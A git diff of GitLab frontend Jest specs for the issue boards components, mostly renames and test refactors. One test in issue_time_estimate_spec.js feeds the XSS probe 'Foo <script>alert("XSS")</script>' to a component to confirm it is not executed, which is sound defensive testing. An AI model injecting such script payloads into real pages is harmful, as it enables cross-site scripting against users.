@@ -0,0 +1,226 @@
+import { GlIcon, GlLink, GlPopover, GlLoadingIcon } from '@gitlab/ui';
+import { shallowMount, mount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import BoardBlockedIcon from '~/boards/components/board_blocked_icon.vue';
+import { blockingIssuablesQueries, issuableTypes } from '~/boards/constants';
+import { truncate } from '~/lib/utils/text_utility';
+import {
+ mockIssue,
+ mockBlockingIssue1,
+ mockBlockingIssue2,
+ mockBlockingIssuablesResponse1,
+ mockBlockingIssuablesResponse2,
+ mockBlockingIssuablesResponse3,
+ mockBlockedIssue1,
+ mockBlockedIssue2,
+} from '../mock_data';
+
+describe('BoardBlockedIcon', () => {
+ let wrapper;
+ let mockApollo;
+
+ const findGlIcon = () => wrapper.find(GlIcon);
+ const findGlPopover = () => wrapper.find(GlPopover);
+ const findGlLink = () => wrapper.find(GlLink);
+ const findPopoverTitle = () => wrapper.findByTestId('popover-title');
+ const findIssuableTitle = () => wrapper.findByTestId('issuable-title');
+ const findHiddenBlockingCount = () => wrapper.findByTestId('hidden-blocking-count');
+ const findViewAllIssuableLink = () => wrapper.findByTestId('view-all-issues');
+
+ const waitForApollo = async () => {
+ jest.runOnlyPendingTimers();
+ await waitForPromises();
+ };
+
+ const mouseenter = async () => {
+ findGlIcon().vm.$emit('mouseenter');
+
+ await wrapper.vm.$nextTick();
+ await waitForApollo();
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const createWrapperWithApollo = ({
+ item = mockBlockedIssue1,
+ blockingIssuablesSpy = jest.fn().mockResolvedValue(mockBlockingIssuablesResponse1),
+ } = {}) => {
+ mockApollo = createMockApollo([
+ [blockingIssuablesQueries[issuableTypes.issue].query, blockingIssuablesSpy],
+ ]);
+
+ Vue.use(VueApollo);
+ wrapper = extendedWrapper(
+ mount(BoardBlockedIcon, {
+ apolloProvider: mockApollo,
+ propsData: {
+ item: {
+ ...mockIssue,
+ ...item,
+ },
+ uniqueId: 'uniqueId',
+ issuableType: issuableTypes.issue,
+ },
+ attachTo: document.body,
+ }),
+ );
+ };
+
+ const createWrapper = ({ item = {}, queries = {}, data = {}, loading = false } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(BoardBlockedIcon, {
+ propsData: {
+ item: {
+ ...mockIssue,
+ ...item,
+ },
+ uniqueId: 'uniqueid',
+ issuableType: issuableTypes.issue,
+ },
+ data() {
+ return {
+ ...data,
+ };
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ blockingIssuables: { loading },
+ ...queries,
+ },
+ },
+ },
+ stubs: {
+ GlPopover,
+ },
+ attachTo: document.body,
+ }),
+ );
+ };
+
+ it('should render blocked icon', () => {
+ createWrapper();
+
+ expect(findGlIcon().exists()).toBe(true);
+ });
+
+ it('should display a loading spinner while loading', () => {
+ createWrapper({ loading: true });
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('should not query for blocking issuables by default', async () => {
+ createWrapperWithApollo();
+
+ expect(findGlPopover().text()).not.toContain(mockBlockingIssue1.title);
+ });
+
+ describe('on mouseenter on blocked icon', () => {
+ it('should query for blocking issuables and render the result', async () => {
+ createWrapperWithApollo();
+
+ expect(findGlPopover().text()).not.toContain(mockBlockingIssue1.title);
+
+ await mouseenter();
+
+ expect(findGlPopover().exists()).toBe(true);
+ expect(findIssuableTitle().text()).toContain(mockBlockingIssue1.title);
+ expect(wrapper.vm.skip).toBe(true);
+ });
+
+ it('should emit "blocking-issuables-error" event on query error', async () => {
+ const mockError = new Error('mayday');
+ createWrapperWithApollo({ blockingIssuablesSpy: jest.fn().mockRejectedValue(mockError) });
+
+ await mouseenter();
+
+ const [
+ [
+ {
+ message,
+ error: { networkError },
+ },
+ ],
+ ] = wrapper.emitted('blocking-issuables-error');
+ expect(message).toBe('Failed to fetch blocking issues');
+ expect(networkError).toBe(mockError);
+ });
+
+ describe('with a single blocking issue', () => {
+ beforeEach(async () => {
+ createWrapperWithApollo();
+
+ await mouseenter();
+ });
+
+ it('should render a title of the issuable', async () => {
+ expect(findIssuableTitle().text()).toBe(mockBlockingIssue1.title);
+ });
+
+ it('should render issuable reference and link to the issuable', async () => {
+ const formattedRef = mockBlockingIssue1.reference.split('/')[1];
+
+ expect(findGlLink().text()).toBe(formattedRef);
+ expect(findGlLink().attributes('href')).toBe(mockBlockingIssue1.webUrl);
+ });
+
+ it('should render popover title with correct blocking issuable count', async () => {
+ expect(findPopoverTitle().text()).toBe('Blocked by 1 issue');
+ });
+ });
+
+ describe('when issue has a long title', () => {
+ it('should render a truncated title', async () => {
+ createWrapperWithApollo({
+ blockingIssuablesSpy: jest.fn().mockResolvedValue(mockBlockingIssuablesResponse2),
+ });
+
+ await mouseenter();
+
+ const truncatedTitle = truncate(
+ mockBlockingIssue2.title,
+ wrapper.vm.$options.textTruncateWidth,
+ );
+ expect(findIssuableTitle().text()).toBe(truncatedTitle);
+ });
+ });
+
+ describe('with more than three blocking issues', () => {
+ beforeEach(async () => {
+ createWrapperWithApollo({
+ item: mockBlockedIssue2,
+ blockingIssuablesSpy: jest.fn().mockResolvedValue(mockBlockingIssuablesResponse3),
+ });
+
+ await mouseenter();
+ });
+
+ it('matches the snapshot', () => {
+ expect(wrapper.html()).toMatchSnapshot();
+ });
+
+ it('should render popover title with correct blocking issuable count', async () => {
+ expect(findPopoverTitle().text()).toBe('Blocked by 4 issues');
+ });
+
+ it('should render the number of hidden blocking issuables', () => {
+ expect(findHiddenBlockingCount().text()).toBe('+ 1 more issue');
+ });
+
+ it('should link to the blocked issue page at the related issue anchor', async () => {
+ expect(findViewAllIssuableLink().text()).toBe('View all blocking issues');
+ expect(findViewAllIssuableLink().attributes('href')).toBe(
+ `${mockBlockedIssue2.webUrl}#related-issues`,
+ );
+ });
+ });
+ });
+});
diff --git a/spec/frontend/boards/components/board_content_sidebar_spec.js b/spec/frontend/boards/components/board_content_sidebar_spec.js
new file mode 100644
index 00000000000..7f949739891
--- /dev/null
+++ b/spec/frontend/boards/components/board_content_sidebar_spec.js
@@ -0,0 +1,140 @@
+import { GlDrawer } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { stubComponent } from 'helpers/stub_component';
+import BoardContentSidebar from '~/boards/components/board_content_sidebar.vue';
+import BoardSidebarDueDate from '~/boards/components/sidebar/board_sidebar_due_date.vue';
+import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
+import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
+import BoardSidebarSubscription from '~/boards/components/sidebar/board_sidebar_subscription.vue';
+import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
+import { ISSUABLE } from '~/boards/constants';
+import { mockIssue, mockIssueGroupPath, mockIssueProjectPath } from '../mock_data';
+
+describe('BoardContentSidebar', () => {
+ let wrapper;
+ let store;
+
+ const createStore = ({ mockGetters = {}, mockActions = {} } = {}) => {
+ store = new Vuex.Store({
+ state: {
+ sidebarType: ISSUABLE,
+ issues: { [mockIssue.id]: { ...mockIssue, epic: null } },
+ activeId: mockIssue.id,
+ issuableType: 'issue',
+ },
+ getters: {
+ activeBoardItem: () => {
+ return { ...mockIssue, epic: null };
+ },
+ groupPathForActiveIssue: () => mockIssueGroupPath,
+ projectPathForActiveIssue: () => mockIssueProjectPath,
+ isSidebarOpen: () => true,
+ ...mockGetters,
+ },
+ actions: mockActions,
+ });
+ };
+
+ const createComponent = () => {
+ /*
+ Dynamically imported components (in our case ee imports)
+ aren't stubbed automatically in VTU v1:
+ https://github.com/vuejs/vue-test-utils/issues/1279.
+
+ This requires us to additionally mock apollo or vuex stores.
+ */
+ wrapper = shallowMount(BoardContentSidebar, {
+ provide: {
+ canUpdate: true,
+ rootPath: '/',
+ groupId: 1,
+ },
+ store,
+ stubs: {
+ GlDrawer: stubComponent(GlDrawer, {
+ template: '<div><slot name="header"></slot><slot></slot></div>',
+ }),
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ participants: {
+ loading: false,
+ },
+ currentIteration: {
+ loading: false,
+ },
+ iterations: {
+ loading: false,
+ },
+ },
+ },
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createStore();
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('confirms we render GlDrawer', () => {
+ expect(wrapper.find(GlDrawer).exists()).toBe(true);
+ });
+
+ it('does not render GlDrawer when isSidebarOpen is false', () => {
+ createStore({ mockGetters: { isSidebarOpen: () => false } });
+ createComponent();
+
+ expect(wrapper.find(GlDrawer).exists()).toBe(false);
+ });
+
+ it('applies an open attribute', () => {
+ expect(wrapper.find(GlDrawer).props('open')).toBe(true);
+ });
+
+ it('renders BoardSidebarLabelsSelect', () => {
+ expect(wrapper.find(BoardSidebarLabelsSelect).exists()).toBe(true);
+ });
+
+ it('renders BoardSidebarTitle', () => {
+ expect(wrapper.find(BoardSidebarTitle).exists()).toBe(true);
+ });
+
+ it('renders BoardSidebarDueDate', () => {
+ expect(wrapper.find(BoardSidebarDueDate).exists()).toBe(true);
+ });
+
+ it('renders BoardSidebarSubscription', () => {
+ expect(wrapper.find(BoardSidebarSubscription).exists()).toBe(true);
+ });
+
+ it('renders BoardSidebarMilestoneSelect', () => {
+ expect(wrapper.find(BoardSidebarMilestoneSelect).exists()).toBe(true);
+ });
+
+ describe('when we emit close', () => {
+ let toggleBoardItem;
+
+ beforeEach(() => {
+ toggleBoardItem = jest.fn();
+ createStore({ mockActions: { toggleBoardItem } });
+ createComponent();
+ });
+
+ it('calls toggleBoardItem with correct parameters', async () => {
+ wrapper.find(GlDrawer).vm.$emit('close');
+
+ expect(toggleBoardItem).toHaveBeenCalledTimes(1);
+ expect(toggleBoardItem).toHaveBeenCalledWith(expect.any(Object), {
+ boardItem: { ...mockIssue, epic: null },
+ sidebarType: ISSUABLE,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/boards/components/board_content_spec.js b/spec/frontend/boards/components/board_content_spec.js
index 159b67ccc67..8c1a7bd3947 100644
--- a/spec/frontend/boards/components/board_content_spec.js
+++ b/spec/frontend/boards/components/board_content_spec.js
@@ -33,7 +33,12 @@ describe('BoardContent', () => {
});
};
- const createComponent = ({ state, props = {}, graphqlBoardListsEnabled = false } = {}) => {
+ const createComponent = ({
+ state,
+ props = {},
+ graphqlBoardListsEnabled = false,
+ canAdminList = true,
+ } = {}) => {
const store = createStore({
...defaultState,
...state,
@@ -42,11 +47,11 @@ describe('BoardContent', () => {
localVue,
propsData: {
lists: mockListsWithModel,
- canAdminList: true,
disabled: false,
...props,
},
provide: {
+ canAdminList,
glFeatures: { graphqlBoardLists: graphqlBoardListsEnabled },
},
store,
@@ -82,7 +87,7 @@ describe('BoardContent', () => {
describe('can admin list', () => {
beforeEach(() => {
- createComponent({ graphqlBoardListsEnabled: true, props: { canAdminList: true } });
+ createComponent({ graphqlBoardListsEnabled: true, canAdminList: true });
});
it('renders draggable component', () => {
@@ -92,7 +97,7 @@ describe('BoardContent', () => {
describe('can not admin list', () => {
beforeEach(() => {
- createComponent({ graphqlBoardListsEnabled: true, props: { canAdminList: false } });
+ createComponent({ graphqlBoardListsEnabled: true, canAdminList: false });
});
it('does not render draggable component', () => {
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index 32499bd5480..24fcdd528d5 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -226,7 +226,7 @@ describe('BoardForm', () => {
it('passes correct primary action text and variant', () => {
expect(findModalActionPrimary().text).toBe('Save changes');
- expect(findModalActionPrimary().attributes[0].variant).toBe('info');
+ expect(findModalActionPrimary().attributes[0].variant).toBe('confirm');
});
it('does not render delete confirmation message', () => {
diff --git a/spec/frontend/boards/components/board_new_issue_spec.js b/spec/frontend/boards/components/board_new_issue_spec.js
index 737a18294bc..e6405bbcff3 100644
--- a/spec/frontend/boards/components/board_new_issue_spec.js
+++ b/spec/frontend/boards/components/board_new_issue_spec.js
@@ -86,7 +86,7 @@ describe('Issue boards new issue form', () => {
describe('submit success', () => {
it('creates new issue', async () => {
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
await vm.$nextTick();
await submitIssue();
@@ -95,7 +95,7 @@ describe('Issue boards new issue form', () => {
it('enables button after submit', async () => {
jest.spyOn(wrapper.vm, 'submit').mockImplementation();
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
await vm.$nextTick();
await submitIssue();
@@ -103,7 +103,7 @@ describe('Issue boards new issue form', () => {
});
it('clears title after submit', async () => {
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
await vm.$nextTick();
await submitIssue();
diff --git a/spec/frontend/boards/components/board_settings_sidebar_spec.js b/spec/frontend/boards/components/board_settings_sidebar_spec.js
index 52b4d71f7b9..464331b6e30 100644
--- a/spec/frontend/boards/components/board_settings_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_settings_sidebar_spec.js
@@ -4,6 +4,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import Vuex from 'vuex';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import BoardSettingsSidebar from '~/boards/components/board_settings_sidebar.vue';
import { inactiveId, LIST } from '~/boards/constants';
import { createStore } from '~/boards/stores';
@@ -22,11 +23,18 @@ describe('BoardSettingsSidebar', () => {
const labelColor = '#FFFF';
const listId = 1;
- const createComponent = () => {
- wrapper = shallowMount(BoardSettingsSidebar, {
- store,
- localVue,
- });
+ const findRemoveButton = () => wrapper.findByTestId('remove-list');
+
+ const createComponent = ({ canAdminList = false } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(BoardSettingsSidebar, {
+ store,
+ localVue,
+ provide: {
+ canAdminList,
+ },
+ }),
+ );
};
const findLabel = () => wrapper.find(GlLabel);
const findDrawer = () => wrapper.find(GlDrawer);
@@ -164,4 +172,29 @@ describe('BoardSettingsSidebar', () => {
expect(findDrawer().exists()).toBe(false);
});
});
+
+ it('does not render "Remove list" when user cannot admin the boards list', () => {
+ createComponent();
+
+ expect(findRemoveButton().exists()).toBe(false);
+ });
+
+ describe('when user can admin the boards list', () => {
+ beforeEach(() => {
+ store.state.activeId = listId;
+ store.state.sidebarType = LIST;
+
+ boardsStore.addList({
+ id: listId,
+ label: { title: labelTitle, color: labelColor },
+ list_type: 'label',
+ });
+
+ createComponent({ canAdminList: true });
+ });
+
+ it('renders "Remove list" button', () => {
+ expect(findRemoveButton().exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/boards/components/filtered_search_spec.js b/spec/frontend/boards/components/filtered_search_spec.js
deleted file mode 100644
index 7f238aa671f..00000000000
--- a/spec/frontend/boards/components/filtered_search_spec.js
+++ /dev/null
@@ -1,65 +0,0 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import Vuex from 'vuex';
-import FilteredSearch from '~/boards/components/filtered_search.vue';
-import { createStore } from '~/boards/stores';
-import * as commonUtils from '~/lib/utils/common_utils';
-import FilteredSearchBarRoot from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('FilteredSearch', () => {
- let wrapper;
- let store;
-
- const createComponent = () => {
- wrapper = shallowMount(FilteredSearch, {
- localVue,
- propsData: { search: '' },
- store,
- attachTo: document.body,
- });
- };
-
- beforeEach(() => {
- // this needed for actions call for performSearch
- window.gon = { features: {} };
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('default', () => {
- beforeEach(() => {
- store = createStore();
-
- jest.spyOn(store, 'dispatch');
-
- createComponent();
- });
-
- it('finds FilteredSearch', () => {
- expect(wrapper.find(FilteredSearchBarRoot).exists()).toBe(true);
- });
-
- describe('when onFilter is emitted', () => {
- it('calls performSearch', () => {
- wrapper.find(FilteredSearchBarRoot).vm.$emit('onFilter', [{ value: { data: '' } }]);
-
- expect(store.dispatch).toHaveBeenCalledWith('performSearch');
- });
-
- it('calls historyPushState', () => {
- commonUtils.historyPushState = jest.fn();
- wrapper
- .find(FilteredSearchBarRoot)
- .vm.$emit('onFilter', [{ value: { data: 'searchQuery' } }]);
-
- expect(commonUtils.historyPushState).toHaveBeenCalledWith(
- 'http://test.host/?search=searchQuery',
- );
- });
- });
- });
-});
diff --git a/spec/frontend/boards/components/issue_time_estimate_spec.js b/spec/frontend/boards/components/issue_time_estimate_spec.js
index 2e253d24125..635964b6b4a 100644
--- a/spec/frontend/boards/components/issue_time_estimate_spec.js
+++ b/spec/frontend/boards/components/issue_time_estimate_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { config as vueConfig } from 'vue';
+import Vue from 'vue';
import IssueTimeEstimate from '~/boards/components/issue_time_estimate.vue';
describe('Issue Time Estimate component', () => {
@@ -34,10 +34,10 @@ describe('Issue Time Estimate component', () => {
try {
// This will raise props validating warning by Vue, silencing it
- vueConfig.silent = true;
+ Vue.config.silent = true;
await wrapper.setProps({ estimate: 'Foo <script>alert("XSS")</script>' });
} finally {
- vueConfig.silent = false;
+ Vue.config.silent = false;
}
expect(alertSpy).not.toHaveBeenCalled();
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_issue_title_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_issue_title_spec.js
deleted file mode 100644
index 723d0345f76..00000000000
--- a/spec/frontend/boards/components/sidebar/board_sidebar_issue_title_spec.js
+++ /dev/null
@@ -1,182 +0,0 @@
-import { GlAlert, GlFormInput, GlForm } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import BoardSidebarIssueTitle from '~/boards/components/sidebar/board_sidebar_issue_title.vue';
-import { createStore } from '~/boards/stores';
-import createFlash from '~/flash';
-
-const TEST_TITLE = 'New issue title';
-const TEST_ISSUE_A = {
- id: 'gid://gitlab/Issue/1',
- iid: 8,
- title: 'Issue 1',
- referencePath: 'h/b#1',
-};
-const TEST_ISSUE_B = {
- id: 'gid://gitlab/Issue/2',
- iid: 9,
- title: 'Issue 2',
- referencePath: 'h/b#2',
-};
-
-jest.mock('~/flash');
-
-describe('~/boards/components/sidebar/board_sidebar_issue_title.vue', () => {
- let wrapper;
- let store;
-
- afterEach(() => {
- localStorage.clear();
- wrapper.destroy();
- store = null;
- wrapper = null;
- });
-
- const createWrapper = (issue = TEST_ISSUE_A) => {
- store = createStore();
- store.state.boardItems = { [issue.id]: { ...issue } };
- store.dispatch('setActiveId', { id: issue.id });
-
- wrapper = shallowMount(BoardSidebarIssueTitle, {
- store,
- provide: {
- canUpdate: true,
- },
- stubs: {
- 'board-editable-item': BoardEditableItem,
- },
- });
- };
-
- const findForm = () => wrapper.find(GlForm);
- const findAlert = () => wrapper.find(GlAlert);
- const findFormInput = () => wrapper.find(GlFormInput);
- const findEditableItem = () => wrapper.find(BoardEditableItem);
- const findCancelButton = () => wrapper.find('[data-testid="cancel-button"]');
- const findTitle = () => wrapper.find('[data-testid="issue-title"]');
- const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
-
- it('renders title and reference', () => {
- createWrapper();
-
- expect(findTitle().text()).toContain(TEST_ISSUE_A.title);
- expect(findCollapsed().text()).toContain(TEST_ISSUE_A.referencePath);
- });
-
- it('does not render alert', () => {
- createWrapper();
-
- expect(findAlert().exists()).toBe(false);
- });
-
- describe('when new title is submitted', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveIssueTitle').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE_A.id].title = TEST_TITLE;
- });
- findFormInput().vm.$emit('input', TEST_TITLE);
- findForm().vm.$emit('submit', { preventDefault: () => {} });
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders new title', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findTitle().text()).toContain(TEST_TITLE);
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueTitle).toHaveBeenCalledWith({
- title: TEST_TITLE,
- projectPath: 'h/b',
- });
- });
- });
-
- describe('when submitting and invalid title', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveIssueTitle').mockImplementation(() => {});
- findFormInput().vm.$emit('input', '');
- findForm().vm.$emit('submit', { preventDefault: () => {} });
- await wrapper.vm.$nextTick();
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueTitle).not.toHaveBeenCalled();
- });
- });
-
- describe('when abandoning the form without saving', () => {
- beforeEach(async () => {
- createWrapper();
-
- wrapper.vm.$refs.sidebarItem.expand();
- findFormInput().vm.$emit('input', TEST_TITLE);
- findEditableItem().vm.$emit('off-click');
- await wrapper.vm.$nextTick();
- });
-
- it('does not collapses sidebar and shows alert', () => {
- expect(findCollapsed().isVisible()).toBe(false);
- expect(findAlert().exists()).toBe(true);
- expect(localStorage.getItem(`${TEST_ISSUE_A.id}/issue-title-pending-changes`)).toBe(
- TEST_TITLE,
- );
- });
- });
-
- describe('when accessing the form with pending changes', () => {
- beforeAll(() => {
- localStorage.setItem(`${TEST_ISSUE_A.id}/issue-title-pending-changes`, TEST_TITLE);
-
- createWrapper();
- });
-
- it('sets title, expands item and shows alert', async () => {
- expect(wrapper.vm.title).toBe(TEST_TITLE);
- expect(findCollapsed().isVisible()).toBe(false);
- expect(findAlert().exists()).toBe(true);
- });
- });
-
- describe('when cancel button is clicked', () => {
- beforeEach(async () => {
- createWrapper(TEST_ISSUE_B);
-
- jest.spyOn(wrapper.vm, 'setActiveIssueTitle').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE_B.id].title = TEST_TITLE;
- });
- findFormInput().vm.$emit('input', TEST_TITLE);
- findCancelButton().vm.$emit('click');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and render former title', () => {
- expect(wrapper.vm.setActiveIssueTitle).not.toHaveBeenCalled();
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findTitle().text()).toBe(TEST_ISSUE_B.title);
- });
- });
-
- describe('when the mutation fails', () => {
- beforeEach(async () => {
- createWrapper(TEST_ISSUE_B);
-
- jest.spyOn(wrapper.vm, 'setActiveIssueTitle').mockImplementation(() => {
- throw new Error(['failed mutation']);
- });
- findFormInput().vm.$emit('input', 'Invalid title');
- findForm().vm.$emit('submit', { preventDefault: () => {} });
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders former issue title', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findTitle().text()).toContain(TEST_ISSUE_B.title);
- expect(createFlash).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
index 98ac211238c..153d0640b23 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
@@ -64,7 +64,7 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
beforeEach(async () => {
createWrapper();
- jest.spyOn(wrapper.vm, 'setActiveIssueLabels').mockImplementation(() => TEST_LABELS);
+ jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => TEST_LABELS);
findLabelsSelect().vm.$emit('updateSelectedLabels', TEST_LABELS_PAYLOAD);
store.state.boardItems[TEST_ISSUE.id].labels = TEST_LABELS;
await wrapper.vm.$nextTick();
@@ -76,7 +76,7 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
});
it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueLabels).toHaveBeenCalledWith({
+ expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
addLabelIds: TEST_LABELS.map((label) => label.id),
projectPath: 'gitlab-org/test-subgroup/gitlab-test',
removeLabelIds: [],
@@ -94,13 +94,13 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
beforeEach(async () => {
createWrapper({ labels: TEST_LABELS });
- jest.spyOn(wrapper.vm, 'setActiveIssueLabels').mockImplementation(() => expectedLabels);
+ jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => expectedLabels);
findLabelsSelect().vm.$emit('updateSelectedLabels', testLabelsPayload);
await wrapper.vm.$nextTick();
});
it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueLabels).toHaveBeenCalledWith({
+ expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
addLabelIds: [5, 7],
removeLabelIds: [6],
projectPath: 'gitlab-org/test-subgroup/gitlab-test',
@@ -114,13 +114,13 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
beforeEach(async () => {
createWrapper({ labels: [testLabel] });
- jest.spyOn(wrapper.vm, 'setActiveIssueLabels').mockImplementation(() => {});
+ jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => {});
});
it('commits change to the server', () => {
wrapper.find(GlLabel).vm.$emit('close', testLabel);
- expect(wrapper.vm.setActiveIssueLabels).toHaveBeenCalledWith({
+ expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
removeLabelIds: [getIdFromGraphQLId(testLabel.id)],
projectPath: 'gitlab-org/test-subgroup/gitlab-test',
});
@@ -131,7 +131,7 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
beforeEach(async () => {
createWrapper({ labels: TEST_LABELS });
- jest.spyOn(wrapper.vm, 'setActiveIssueLabels').mockImplementation(() => {
+ jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => {
throw new Error(['failed mutation']);
});
findLabelsSelect().vm.$emit('updateSelectedLabels', [{ id: '?' }]);
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
index cfd7f32b2cc..7976e73ff2f 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
@@ -1,5 +1,6 @@
import { GlToggle, GlLoadingIcon } from '@gitlab/ui';
-import { mount, createLocalVue } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import BoardSidebarSubscription from '~/boards/components/sidebar/board_sidebar_subscription.vue';
import { createStore } from '~/boards/stores';
@@ -9,8 +10,7 @@ import { mockActiveIssue } from '../../mock_data';
jest.mock('~/flash.js');
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () => {
let wrapper;
@@ -20,14 +20,16 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
const findToggle = () => wrapper.find(GlToggle);
const findGlLoadingIcon = () => wrapper.find(GlLoadingIcon);
- const createComponent = (activeIssue = { ...mockActiveIssue }) => {
+ const createComponent = (activeBoardItem = { ...mockActiveIssue }) => {
store = createStore();
- store.state.boardItems = { [activeIssue.id]: activeIssue };
- store.state.activeId = activeIssue.id;
+ store.state.boardItems = { [activeBoardItem.id]: activeBoardItem };
+ store.state.activeId = activeBoardItem.id;
wrapper = mount(BoardSidebarSubscription, {
- localVue,
store,
+ provide: {
+ emailsDisabled: false,
+ },
});
};
@@ -90,9 +92,9 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
describe('Board sidebar subscription component `behavior`', () => {
const mockSetActiveIssueSubscribed = (subscribedState) => {
- jest.spyOn(wrapper.vm, 'setActiveIssueSubscribed').mockImplementation(async () => {
- store.commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: mockActiveIssue.id,
+ jest.spyOn(wrapper.vm, 'setActiveItemSubscribed').mockImplementation(async () => {
+ store.commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: mockActiveIssue.id,
prop: 'subscribed',
value: subscribedState,
});
@@ -110,7 +112,7 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
await wrapper.vm.$nextTick();
expect(findGlLoadingIcon().exists()).toBe(true);
- expect(wrapper.vm.setActiveIssueSubscribed).toHaveBeenCalledWith({
+ expect(wrapper.vm.setActiveItemSubscribed).toHaveBeenCalledWith({
subscribed: true,
projectPath: 'gitlab-org/test-subgroup/gitlab-test',
});
@@ -134,7 +136,7 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
await wrapper.vm.$nextTick();
- expect(wrapper.vm.setActiveIssueSubscribed).toHaveBeenCalledWith({
+ expect(wrapper.vm.setActiveItemSubscribed).toHaveBeenCalledWith({
subscribed: false,
projectPath: 'gitlab-org/test-subgroup/gitlab-test',
});
@@ -148,7 +150,7 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
it('flashes an error message when setting the subscribed state fails', async () => {
createComponent();
- jest.spyOn(wrapper.vm, 'setActiveIssueSubscribed').mockImplementation(async () => {
+ jest.spyOn(wrapper.vm, 'setActiveItemSubscribed').mockImplementation(async () => {
throw new Error();
});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js
new file mode 100644
